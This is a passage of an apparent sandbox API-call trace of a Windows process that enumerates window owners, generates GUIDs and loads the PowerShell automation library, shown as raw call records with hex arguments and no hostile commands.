lpdwProcessId=0x427e5b4) returned 0xb2c [0067.868] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.868] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.868] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.868] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.868] GetWindowThreadProcessId (in: hWnd=0x20106, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.868] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x884 [0067.868] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.869] GetWindowThreadProcessId (in: hWnd=0x40032, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.869] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.869] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.869] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.869] GetWindowThreadProcessId (in: hWnd=0x100e4, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x450 [0067.869] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.869] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.870] GetWindowThreadProcessId (in: hWnd=0x20052, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb50 [0067.870] GetWindowThreadProcessId (in: hWnd=0x40060, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb54 [0067.870] GetWindowThreadProcessId (in: hWnd=0x100b6, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.870] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.870] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.870] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x7b4 [0067.870] GetWindowThreadProcessId (in: hWnd=0x1001c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x2d8 [0067.871] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x93c [0067.871] GetWindowThreadProcessId (in: hWnd=0x100da, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.871] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x8e4 [0067.871] GetWindowThreadProcessId (in: hWnd=0x100d8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.871] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x794 [0067.871] GetWindowThreadProcessId (in: hWnd=0x20244, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc94 [0067.871] GetWindowThreadProcessId (in: hWnd=0x40214, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc94 [0067.871] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xcb0 [0067.872] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc9c [0067.872] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc88 [0067.872] GetWindowThreadProcessId (in: hWnd=0x20204, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc74 [0067.872] GetWindowThreadProcessId (in: hWnd=0x20200, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc5c [0067.872] GetWindowThreadProcessId (in: hWnd=0x17003c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc44 [0067.872] GetWindowThreadProcessId (in: hWnd=0xe0036, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc28 [0067.872] GetWindowThreadProcessId (in: hWnd=0x901de, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xc0c [0067.873] GetWindowThreadProcessId (in: hWnd=0x501ec, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa58 [0067.873] GetWindowThreadProcessId (in: hWnd=0x6004c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa60 [0067.873] GetWindowThreadProcessId (in: hWnd=0x201bc, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x68c [0067.873] GetWindowThreadProcessId (in: hWnd=0x2015a, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xaf4 [0067.873] GetWindowThreadProcessId (in: hWnd=0x601ea, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa34 [0067.873] GetWindowThreadProcessId (in: hWnd=0x801e8, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xa84 [0067.873] GetWindowThreadProcessId (in: hWnd=0x201fc, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x90c [0067.873] GetWindowThreadProcessId (in: hWnd=0x20146, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xae8 [0067.873] GetWindowThreadProcessId (in: hWnd=0x30138, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xacc [0067.874] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x718 [0067.874] GetWindowThreadProcessId (in: hWnd=0x20134, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x7a0 [0067.874] GetWindowThreadProcessId (in: hWnd=0x4019a, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x1e0 [0067.874] GetWindowThreadProcessId (in: hWnd=0x20196, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x2f0 [0067.874] GetWindowThreadProcessId (in: hWnd=0x4012c, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x1f4 [0067.874] GetWindowThreadProcessId (in: hWnd=0x20102, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xf0 [0067.874] GetWindowThreadProcessId (in: hWnd=0x7002a, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb84 [0067.874] GetWindowThreadProcessId (in: hWnd=0x301e2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x54c [0067.874] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb50 [0067.874] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb54 [0067.875] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0xb2c [0067.875] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x884 [0067.875] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.875] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x650 [0067.875] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x450 [0067.875] GetWindowThreadProcessId (in: hWnd=0x20088, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x570 [0067.875] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x427e5b4 | out: lpdwProcessId=0x427e5b4) returned 0x7b4 [0067.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x74b94b0, Length=0x20000, ResultLength=0x427e674 | out: SystemInformation=0x74b94b0, ResultLength=0x427e674*=0x10f40) returned 0x0 [0067.962] WerSetFlags () returned 0x0 [0067.989] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0067.989] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x427e690, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x427e68c | out: pulNumLanguages=0x427e690, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x427e68c) returned 1 [0067.989] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x427e690, pwszLanguagesBuffer=0x64d96e4, pcchLanguagesBuffer=0x427e68c | out: pulNumLanguages=0x427e690, pwszLanguagesBuffer=0x64d96e4, pcchLanguagesBuffer=0x427e68c) returned 1 [0067.998] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x427d148 | out: phkResult=0x427d148*=0x0) returned 0x2 [0068.009] GetUserDefaultLocaleName (in: lpLocaleName=0x427e620, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0068.675] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427ddf0, nSize=0x80 | out: lpBuffer="\xbb9c\x7287\xdeb4\x427\x32fc\x7403\xffff\xffff\xde2c\x427\xe9e5\x73ae\x7910\x7286\x2aec\x72bc\x8f53\x73b5\x77f\x6699\x7910\x7286\x2aec\x72bc\x02") returned 0x0 [0068.676] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427ddf0, nSize=0x80 | out: lpBuffer="\x01⌀") returned 0x0 [0071.976] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0xa3a749f2, Data2=0xb084, Data3=0x47e5, Data4=([0]=0xb2, [1]=0x6e, [2]=0x48, [3]=0xa7, [4]=0xc1, [5]=0x67, [6]=0xb1, [7]=0x43))) returned 0x0 [0072.310] EtwEventRegister (in: ProviderId=0x64f0f20, EnableCallback=0x85e27de, CallbackContext=0x0, RegHandle=0x64f0efc | out: RegHandle=0x64f0efc) returned 0x0 [0072.310] EtwEventSetInformation (RegHandle=0x435d670, InformationClass=0x4b, EventInformation=0x2, InformationLength=0x64f0eb0) returned 0x0 [0080.345] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0x9712373e, Data2=0xe99e, Data3=0x48ae, Data4=([0]=0xa3, [1]=0x98, [2]=0xf3, [3]=0x68, [4]=0x9d, [5]=0x84, [6]=0x64, [7]=0x41))) returned 0x0 [0080.390] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x6b7a55c5, Data2=0xae95, Data3=0x4f9b, Data4=([0]=0xa5, [1]=0xba, [2]=0xad, [3]=0x71, [4]=0xa1, [5]=0x99, [6]=0xfb, [7]=0x4e))) returned 0x0 [0080.525] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xaccf7947, Data2=0x7629, Data3=0x4e65, Data4=([0]=0xba, [1]=0xca, [2]=0xb5, [3]=0xd2, [4]=0x15, [5]=0x69, [6]=0x23, [7]=0x9f))) returned 0x0 [0080.866] CoCreateGuid (in: pguid=0x427c760 | out: pguid=0x427c760*(Data1=0x6ca617e, Data2=0xc538, Data3=0x4ab6, Data4=([0]=0x84, [1]=0xca, [2]=0x2a, [3]=0x51, [4]=0xb5, [5]=0xd, [6]=0x22, [7]=0xc4))) returned 0x0 [0081.423] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0xaf069cdd, Data2=0x32ff, Data3=0x4c8a, Data4=([0]=0x8d, [1]=0x88, [2]=0xc6, [3]=0x16, [4]=0x1d, [5]=0xc0, [6]=0x6b, [7]=0xb1))) returned 0x0 [0082.199] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0x664ebe25, Data2=0x375d, Data3=0x4faa, Data4=([0]=0x93, [1]=0x84, [2]=0xae, [3]=0x29, [4]=0xee, [5]=0x51, [6]=0x94, [7]=0x53))) returned 0x0 [0082.326] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0x5ecb6d9, Data2=0x52c9, Data3=0x480a, Data4=([0]=0x9b, [1]=0xdc, [2]=0xc0, [3]=0xfb, [4]=0x27, [5]=0x8, [6]=0x67, [7]=0x3b))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0xd9adfc1e, Data2=0x50f6, Data3=0x42c7, Data4=([0]=0xbc, [1]=0x39, [2]=0x96, [3]=0xb3, [4]=0x6e, [5]=0x7d, [6]=0x43, [7]=0x53))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xc2db2f67, Data2=0x4e2c, Data3=0x4cbb, Data4=([0]=0x9a, [1]=0x77, [2]=0xf4, [3]=0x5, [4]=0x46, [5]=0xb7, [6]=0x45, [7]=0xd5))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x1b06b50b, Data2=0xd3bc, Data3=0x4e6b, Data4=([0]=0x84, [1]=0xc9, [2]=0x25, [3]=0x4c, [4]=0x36, [5]=0x71, [6]=0xe2, [7]=0xd6))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xa202e624, Data2=0x3ec9, Data3=0x4419, Data4=([0]=0x80, [1]=0x53, [2]=0xcc, [3]=0x31, [4]=0x3d, [5]=0x26, [6]=0xc8, [7]=0x50))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xcea59c4f, Data2=0xb7a4, Data3=0x4def, Data4=([0]=0xbd, [1]=0xc5, [2]=0x4f, [3]=0xb9, [4]=0x66, [5]=0xaf, [6]=0xfe, [7]=0xa8))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x2eb7f4d7, Data2=0x1d7a, Data3=0x4b96, Data4=([0]=0xb7, [1]=0xeb, [2]=0x13, [3]=0xce, [4]=0x12, [5]=0x8b, [6]=0x9, [7]=0x60))) returned 0x0 [0082.395] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x60c433fa, Data2=0x1e57, Data3=0x43b5, Data4=([0]=0xab, [1]=0x89, [2]=0x13, [3]=0xf9, [4]=0xa4, [5]=0x62, [6]=0x9a, [7]=0x14))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xb73e4779, Data2=0x435, Data3=0x46b0, Data4=([0]=0xa1, [1]=0xd5, [2]=0xe2, [3]=0xf3, [4]=0x10, [5]=0x6e, [6]=0x15, [7]=0x87))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x62e35387, Data2=0x2a9e, Data3=0x4071, Data4=([0]=0x88, [1]=0x6e, [2]=0xf4, [3]=0x77, [4]=0xb5, [5]=0xf1, [6]=0x45, [7]=0xaa))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x8b531ff0, Data2=0x6de4, Data3=0x4344, Data4=([0]=0x94, [1]=0x6b, [2]=0x5, [3]=0xa7, [4]=0xe6, [5]=0x1, [6]=0x9, [7]=0x8b))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x3ef5431a, Data2=0x95c8, Data3=0x4ea4, Data4=([0]=0xbe, [1]=0xb3, [2]=0xf7, [3]=0x3f, [4]=0x67, [5]=0xaa, [6]=0x4b, [7]=0x5d))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xe361c4bb, Data2=0xb91e, Data3=0x4a73, Data4=([0]=0xa6, [1]=0xc, [2]=0x3, [3]=0xae, [4]=0x86, [5]=0xb1, [6]=0x6e, [7]=0x5e))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x91d08407, Data2=0x1263, Data3=0x46c5, Data4=([0]=0x96, [1]=0x98, [2]=0xc2, [3]=0x90, [4]=0xdb, [5]=0xbc, [6]=0x99, [7]=0x2))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xaa55bd60, Data2=0xc9a3, Data3=0x4c01, Data4=([0]=0x8f, [1]=0x9b, [2]=0xa3, [3]=0xe2, [4]=0x15, [5]=0xb6, [6]=0x6f, [7]=0x5a))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x308c0be0, Data2=0xd0ff, Data3=0x4b1b, Data4=([0]=0xa8, [1]=0x10, [2]=0xa9, [3]=0x7a, [4]=0x9, [5]=0x9e, [6]=0x64, [7]=0x21))) returned 0x0 [0082.396] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x25618726, Data2=0x2eed, Data3=0x4399, Data4=([0]=0x9a, [1]=0xd8, [2]=0x8a, [3]=0x23, [4]=0x34, [5]=0x12, [6]=0xac, [7]=0x2))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x8e3cbc08, Data2=0xff77, Data3=0x4464, Data4=([0]=0xa1, [1]=0x42, [2]=0x54, [3]=0x48, [4]=0x85, [5]=0x9b, [6]=0xfe, [7]=0x4a))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x3f9fbd30, Data2=0x4770, Data3=0x4b51, Data4=([0]=0x82, [1]=0xeb, [2]=0x3f, [3]=0x64, [4]=0xbf, [5]=0xb2, [6]=0xc2, [7]=0x35))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x827b4b86, Data2=0xc815, Data3=0x4454, Data4=([0]=0xb0, [1]=0x4b, [2]=0x3d, [3]=0x95, [4]=0x9d, [5]=0x6b, [6]=0x81, [7]=0x8b))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xe8bd1103, Data2=0xc8cd, Data3=0x4eb6, Data4=([0]=0xbb, [1]=0x5, [2]=0xf1, [3]=0x6f, [4]=0xc4, [5]=0x30, [6]=0x76, [7]=0x66))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x3ad7ceda, Data2=0xf212, Data3=0x46b9, Data4=([0]=0xaa, [1]=0x32, [2]=0x3a, [3]=0x6f, [4]=0xae, [5]=0x6f, [6]=0x8, [7]=0x15))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x9ed3da75, Data2=0xa7f2, Data3=0x499d, Data4=([0]=0xa7, [1]=0x8c, [2]=0x2c, [3]=0x0, [4]=0x84, [5]=0x36, [6]=0xdf, [7]=0xf1))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xeb3f09dd, Data2=0x2231, Data3=0x4d35, Data4=([0]=0xa0, [1]=0x19, [2]=0x1b, [3]=0xb1, [4]=0xc7, [5]=0x63, [6]=0xb8, [7]=0xf9))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xf9f77979, Data2=0x530, Data3=0x436f, Data4=([0]=0x93, [1]=0x1d, [2]=0x66, [3]=0xbb, [4]=0xb1, [5]=0xc2, [6]=0xe6, [7]=0x80))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xfb018cf3, Data2=0x8b2b, Data3=0x4271, Data4=([0]=0x83, [1]=0x88, [2]=0xe9, [3]=0x8c, [4]=0xcc, [5]=0xf0, [6]=0xc8, [7]=0xa9))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x40e93f0d, Data2=0x31d5, Data3=0x4bf7, Data4=([0]=0xa1, [1]=0xeb, [2]=0xd4, [3]=0x8, [4]=0x89, [5]=0xd4, [6]=0xac, [7]=0xd1))) returned 0x0 [0082.397] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xae116123, Data2=0x1b11, Data3=0x4e8b, Data4=([0]=0xb0, [1]=0xad, [2]=0xc7, [3]=0x59, [4]=0xc0, [5]=0x2d, [6]=0x7, [7]=0xd0))) returned 0x0 [0082.398] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0x243775a0, Data2=0xa9c7, Data3=0x4a3f, Data4=([0]=0xa2, [1]=0xf0, [2]=0xc0, [3]=0x94, [4]=0x63, [5]=0x30, [6]=0xe4, [7]=0xf6))) returned 0x0 [0082.398] CoCreateGuid (in: pguid=0x427ddd8 | out: pguid=0x427ddd8*(Data1=0xe39765e8, Data2=0xa0f0, Data3=0x4986, Data4=([0]=0x8e, [1]=0xa6, [2]=0xf3, [3]=0xbd, [4]=0xbf, [5]=0x46, [6]=0x9f, [7]=0x5))) returned 0x0 [0082.398] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0x1a36855f, Data2=0xd499, Data3=0x4ed5, Data4=([0]=0x83, [1]=0x27, [2]=0xc3, [3]=0x6f, [4]=0xbd, [5]=0xd9, [6]=0x41, [7]=0x85))) returned 0x0 [0082.398] CoCreateGuid (in: pguid=0x427ddd0 | out: pguid=0x427ddd0*(Data1=0x53bdb28, Data2=0xf3f6, Data3=0x4607, Data4=([0]=0x80, [1]=0xce, [2]=0x8, [3]=0x34, [4]=0xb, [5]=0x99, [6]=0xea, [7]=0xe2))) returned 0x0 [0082.398] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427db2c, nSize=0xfa | out: lpBuffer="\x1141\x73b6\x648\x64e\x12") returned 0x0 [0082.410] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e5dc | out: phkResult=0x427e5dc*=0x4a4) returned 0x0 [0082.410] RegQueryValueExW (in: hKey=0x4a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e5fc, lpData=0x0, lpcbData=0x427e5f8*=0x0 | out: lpType=0x427e5fc*=0x1, lpData=0x0, lpcbData=0x427e5f8*=0x56) returned 0x0 [0082.410] RegQueryValueExW (in: hKey=0x4a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e5fc, lpData=0x65d41e4, lpcbData=0x427e5f8*=0x56 | out: lpType=0x427e5fc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x427e5f8*=0x56) returned 0x0 [0082.411] RegCloseKey (hKey=0x4a4) returned 0x0 [0082.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427e07c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0082.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427e0bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0082.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e51c) returned 1 [0082.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e598 | out: lpFileInformation=0x427e598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8432712, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8432712, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8458971, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x659600)) returned 1 [0082.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e518) returned 1 [0082.413] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x427e60c | out: lpdwHandle=0x427e60c) returned 0x95c [0082.413] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x95c, lpData=0x65d49e0 | out: lpData=0x65d49e0) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x427e5e0, puLen=0x427e5dc | out: lplpBuffer=0x427e5e0*=0x65d4a7c, puLen=0x427e5dc) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4b58, puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4bac, puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4c08, puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4c4c, puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4cb4, puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4d50, puLen=0x427e55c) returned 1 [0082.414] VerQueryValueW (in: pBlock=0x65d49e0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x427e560, puLen=0x427e55c | out: lplpBuffer=0x427e560*=0x65d4db4, 